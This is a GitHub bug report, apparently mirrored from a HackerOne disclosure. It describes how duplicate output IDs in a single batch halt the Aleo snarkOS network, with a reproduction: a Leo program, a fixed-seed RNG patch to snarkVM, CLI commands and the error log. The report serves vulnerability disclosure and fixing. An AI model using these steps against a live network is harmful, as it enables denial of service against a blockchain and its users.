Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Bug] Two transactions containing the same output_id in a single batch will halt the network #2263

Closed
feezybabee opened this issue Dec 20, 2023 · 1 comment · Fixed by #2301
Labels
bug Something isn't working

Comments

@feezybabee
Copy link

https://hackerone.com/reports/2289881

Summary

Two transactions contain the same output_id in the single batch halt the network

Steps To Reproduce:

  1. Deploy a Leo program like below
program attack_output.aleo {
    record out_record {
        owner: address,
        a: u32,
    }
    transition main(x: u32) -> out_record {
        let r: out_record = out_record {
            owner: self.caller,
            a: 1u32,
        };
        return r;
    }
}
  1. Locally patch snarkvm code

https://github.com/AleoHQ/snarkVM/blob/testnet3/synthesizer/src/vm/execute.rs#L37

    pub fn execute<R: Rng + CryptoRng>(
        &self,
        private_key: &PrivateKey<N>,
        (program_id, function_name): (impl TryInto<ProgramID<N>>, impl TryInto<Identifier<N>>),
        inputs: impl ExactSizeIterator<Item = impl TryInto<Value<N>>>,
        fee_record: Option<Record<N, Plaintext<N>>>,
        priority_fee_in_microcredits: u64,
        query: Option<Query<N, C::BlockStorage>>,
        rng: &mut R,
    ) -> Result<Transaction<N>> {
        /// *** Modify ***///
        use rand::SeedableRng;
        let rng_same = &mut rand_chacha::ChaChaRng::seed_from_u64(0);
				/// *** Modify ***///

      	//***Modify `rng` -> `rng_same`***//
        let authorization = self.authorize(private_key, program_id, function_name, inputs, rng_same)?; 
        
        // ....

        //***Modify `rng` -> `rng_same`***//
        let execution = self.execute_authorization_raw(authorization, query.clone(), rng_same)?;
        // Don't change the `rng` used to generate `fee_transition`  
  1. Use the patched snarkvm version to build snarkos

  2. Generata transactions with different transition ids but the same output id.

source .env

FUNCTION_NAME=main
ARG1=1u32

# 1
snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \
--dry-run > t1.json

# 2
FUNCTION_NAME=main
ARG1=2u32

snarkos developer execute \
--private-key ${PRIVATE_KEY} \
--query ${API_PREFIX} \
--priority-fee 1000 $PROGRAM_NAME $FUNCTION_NAME $ARG1 \
--dry-run > t1.json
  1. Broadcast two transactions at the same time, check the logs:
2023-12-18T10:19:18.249065Z ERROR BFT failed to advance the subdag for round 74 - Found a duplicate output ID in block 30

Proof-of-Concept (PoC)

  1. self.ledger.prepare_advance_to_next_quorum_block doesn't check the transactions whether have the same transition_id.
  2. While self.ledger.check_next_block will check whether there are the same output_ids.When the check fails, the transmissions will be reinserted.
  3. Repeat step 1

Impact

The vulnerability will halt the network easily.

@feezybabee feezybabee added the bug Something isn't working label Dec 20, 2023
@feezybabee
Copy link
Author

Seemingly related to https://github.com/AleoHQ/snarkVM/issues/2262

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

Successfully merging a pull request may close this issue.

1 participant